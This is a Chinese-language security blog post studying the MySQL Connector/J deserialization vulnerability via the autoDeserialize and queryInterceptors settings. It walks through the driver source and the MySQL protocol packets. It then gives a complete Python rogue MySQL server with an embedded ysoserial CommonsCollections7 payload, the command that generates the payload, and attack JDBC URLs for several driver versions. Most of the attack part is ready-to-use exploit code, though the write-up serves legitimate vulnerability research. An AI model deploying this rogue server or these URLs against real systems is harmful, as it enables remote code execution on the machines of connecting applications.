目录

  1. 1. 前言
  2. 2. JDBC
    1. 2.1. 环境部署
    2. 2.2. 简单demo
  3. 3. Java序列化对象的标识符
  4. 4. 漏洞原理
    1. 4.1. JDBC连接参数
    2. 4.2. readObject触发点
    3. 4.3. MySQL认证报文
    4. 4.4. show session status响应包的编写
  5. 5. 利用链
    1. 5.1. ServerStatusDiffInterceptor链
      1. 5.1.1. 8.0.7-8.0.20

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

JDBC反序列化

2024/5/21 Web Java 反序列化
  |     |   总文章阅读量:

前言

我从来都不觉得学java开心过x

参考:

https://boogipop.com/2023/03/11/WebDog%E5%BF%85%E5%AD%A6%E7%9A%84JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/

https://tttang.com/archive/1877/

https://xz.aliyun.com/t/8159

https://www.cnblogs.com/GeekerJun/p/17859798.html


JDBC

JDBC(Java DataBase Connectivity)是一种用于执行Sql语句的Java Api,即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,可以为多种关系数据库提供统一访问,提供了诸如查询和更新数据库中数据的方法,是Java访问数据库的标准规范。

简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。

环境部署

想了想顺带把IDEA的基础使用也过一遍

IDEA新建一个普通项目即可,在src文件夹下新建一个软件包com.example

写一个Test类:

输入快捷命令psvm后回车,或者按Tab键快速自动生成main函数结构体

然后在main中输入快捷命令sout后回车,或者按Tab键快速建立输出命名

image-20240521005703824

接下来正式配置JDBC,驱动jar包的下载地址:https://dev.mysql.com/downloads/connector/j/

这里先整一个8.0.12版本的jar包

image-20240521010043116

然后取出压缩包里面的jar包,导到项目中,这里新建一个lib文件夹用来存放jar包

image-20240521010346883

(也可以直接右键jar包添加为库)


简单demo

package com.example;
import java.sql.*;
public class Test {
    public static void main(String[] args) throws Exception {
        String Driver = "com.mysql.cj.jdbc.Driver"; // 从mysql-connector-java 6开始
        //String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/sql?useSSL=true&serverTimezone=GMT%2B8";	// 注意高版本mysql服务需要指定useSSL参数,高版本jdbc jar包需要指定serverTimezone时区
        //1.加载启动
        Class.forName(Driver);
        //2.建立连接
        Connection conn = DriverManager.getConnection(DB_URL, "root", "passwd");
        //3.操作数据库,实现增删改查
        Statement stmt = conn.createStatement();
        ResultSet rs = stmt.executeQuery("select * from user");
        //如果有数据,rs.next()返回true
        while (rs.next()) {
            System.out.println(rs.getString("id") + " : " + rs.getString("username"));
        }
    }
}

image-20240521011411208


Java序列化对象的标识符

package com.example;

import java.io.*;

public class Car implements Serializable {

    private String name;
    public Car(){
        this.name ="car";
    }

    public static void main(String[] args) throws IOException, FileNotFoundException {
        Car car=new Car();
        FileOutputStream fos =new FileOutputStream("output");
        ObjectOutputStream oos =new ObjectOutputStream(fos);
        oos.writeObject(car);
        oos.close();
    }
}

运行程序输出会得到一个序列化文件

用010看一下其十六进制

image-20240521012041561

image-20240521012111477

前两个字节固定为-84-19,这一点在后面会回收伏笔


漏洞原理

若攻击者能控制 JDBC 连接设置项,则可以通过设置其配置指向恶意 MySQL 服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。

通过 JDBC 连接 MySQL 服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在 MySQL 客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制 JDBC 连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。可被利用的两条查询语句:

SHOW SESSION STATUS
SHOW COLLATION

JDBC连接参数

即 jdbc 的url中的参数,例如jdbc:mysql://127.0.0.1:3306/sql?useSSL=true&serverTimezone=GMT%2B8,其中的参数就有 useSSL 和 serverTimezone

  • statementInterceptors:连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果,这些拦截器将被添加到一个链中,第一个拦截器返回的结果将被传递到第二个拦截器,以此类推。在 8.0 中被 queryInterceptors 参数替代。

  • queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)

  • autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。

  • detectCustomCollations:驱动程序是否应该检测服务器上安装的自定义字符集/排序规则,如果此选项设置为“true”,驱动程序会在每次建立连接时从服务器获取实际的字符集/排序规则。这可能会显着减慢连接初始化速度

文档地址:https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-connection.html


readObject触发点

漏洞点在于com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

public Object getObject(int columnIndex) throws SQLException {
    try {
        this.checkRowPos();
        this.checkColumnBounds(columnIndex);
        int columnIndexMinusOne = columnIndex - 1;
        if (this.thisRow.getNull(columnIndexMinusOne)) {
            return null;
        } else {
            Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
            switch (field.getMysqlType()) {
                case BIT:	//判断数据是不是blob或者二进制数据
                    if (!field.isBinary() && !field.isBlob()) {
                        return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);
                    } else {
                        byte[] data = this.getBytes(columnIndex);
                        if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {	//获取连接属性的autoDeserialize是否为true,即要求url中autoDeserialize参数需要为true
                            return data;
                        } else {
                            Object obj = data;
                            if (data != null && data.length >= 2) {
                                if (data[0] != -84 || data[1] != -19) {
                                    return this.getString(columnIndex);
                                }

                                try {
                                    ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                    ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                    obj = objIn.readObject();
                                    objIn.close();
                                    bytesIn.close();
                                } ...

image-20240521134323858

在readObject前有一个判断,那就是if (data[0] != -84 || data[1] != -19),即前面Java序列化对象的标识符

那么这个就用来判断是否为序列化对象,如果是的话才能进入readObject方法被调用

接下来找调用 getObject 方法的地方,在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法

image-20240521135020403

这里执行ResultSetUtil.resultSetToMap(toPopulate, rs),ctrl+B 跟进该方法

image-20240521135132307

在方法内执行了 getObject 方法,于是连上了

接下来看看传入的两个参数 toPopulate 和 rs

private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
    Statement stmt = null;
    ResultSet rs = null;

    try {
        try {
            toPopulate.clear();
            stmt = this.connection.createStatement();
            rs = stmt.executeQuery("SHOW SESSION STATUS");
            ResultSetUtil.resultSetToMap(toPopulate, rs);
        }
        ...

rs 是服务端执行SQL语句SHOW SESSION STATUS后返回的结果,那么只要我们能利用恶意的mysql服务端来控制rs的值,就可以尝试触发反序列化链了


MySQL认证报文

既然需要恶意的mysql服务,那么就得自己写,这里有两种写法:

  1. 根据MYSQL的协议去写服务器

  2. 抓包,模拟发包过程

这里选择第二种

准备一个客户端:

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String Driver = "com.mysql.cj.jdbc.Driver";

        String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&serverTimezone=GMT%2B8";
        Class.forName(Driver);
        Connection conn = DriverManager.getConnection(DB_URL,"root","passwd");
    }
}

然后抓包:因为使用的是本地的MYSQL,所以抓包需要使用npcap,wireshark默认使用的是winpcap,它不会抓取本地环回的数据包

懒得配环境了,这里直接拿别的师傅的图(

mysql也是有类似tcp一样的认证系统的,有Request和Response

分析Response OK的数据包

image-20240530113241054

可以看到MYSQL Protocol的认证报文为:0700000200000002000000

也就是说我们恶意服务端只需要将该数据返回给Request即可完成认证,再看看Request报文:

image-20240530113435915

直接发送原始数据即可,恶意服务端可以将这部分改为恶意payload,之后进行反序列化


show session status响应包的编写

从流量中可以看出来show session status属于request Query 报文

对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)

流量里看到的Response OK数据包就是OK packet

我们这里要用的是结果集的数据包,结果集响应包的结构:

image-20240531005812275

  • 数据段1:说明下面的结果集有多少列
  • 数据段2:列的定义
  • 数据段3:EOF 包
  • 数据段4:行数据

那么对着这个数据段结构来构造自己的数据段:

  1. 数据段1就可以写成01 00 00 01 02 前三字节表示数据长度为1,然后sequence id为1,最后一字节02表示有两列(尝试写一列无法正常运行)

  2. 数据段2用其它师傅已经写好的数据:1a000002036465660001630163016301630c3f00ffff0000fcffff000000

    1a 00 00  // 3字节表示长度(这个长度说的是协议的内容长度,不包括序号那一字节)
    02      // 序号:这里是第二个数据字段
    03646566  // def
    00   // schema协议:因为不使用就用00
    01 63  // table:因为我们使用列数据,就不需要名字了,下面几个都是任意字符。字符串第一字节是用来说明长度的。
    01 63  // org_table:01表示1字节,63是数据
    0163    // name  
    0163   // org_name
    0c      filler  // length of the following fields 总是0x0c
    3f00   // characterset:字符编码,003f是binary 
    ffff0000  column_length // 允许数据最大长度,就是我们行数据的最大长度。ffff
    fc    // column_type:这一列数据类型,fc表示blob  
    9000    // flags:9000是官方的值
    00	// decimals
    0000	// filler_2
  3. 数据段3,EOF包貌似可以不用写

  4. 数据段4,即我们的poc,和上面一样,计算出长度(3字节)序号(1字节)行数据(行数据第一个字节是数据的长度)。poc使用ysoserial

    java -jar ysoserial.jar CommonsCollections7 "calc" > a

利用链

ServerStatusDiffInterceptor链

// 5.1.0-5.1.10 连接后需执行查询
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc


// 5.1.11-5.x.xx
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

// 6.x(注意包名中添加cj)
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

// 8.0.20以下
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

8.0.7-8.0.20

准备一个恶意mysql服务端

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data = "0700000200000002000000"


def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()


def send_data(conn, data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))


def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a
    file = r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content


# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0], addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn, greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn, response_ok_data)

            #其他过程
            data = receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 获取payload
                payload_content = get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content) // 2)).replace(
                    '0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content) // 2 + 4)).replace(
                    '0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST = '0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST, PORT))
    run()

客户端(mysql-connector-java-8.0.12)

import java.sql.*;

public class Client {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        String driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"; //8.x使用
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);

    }
}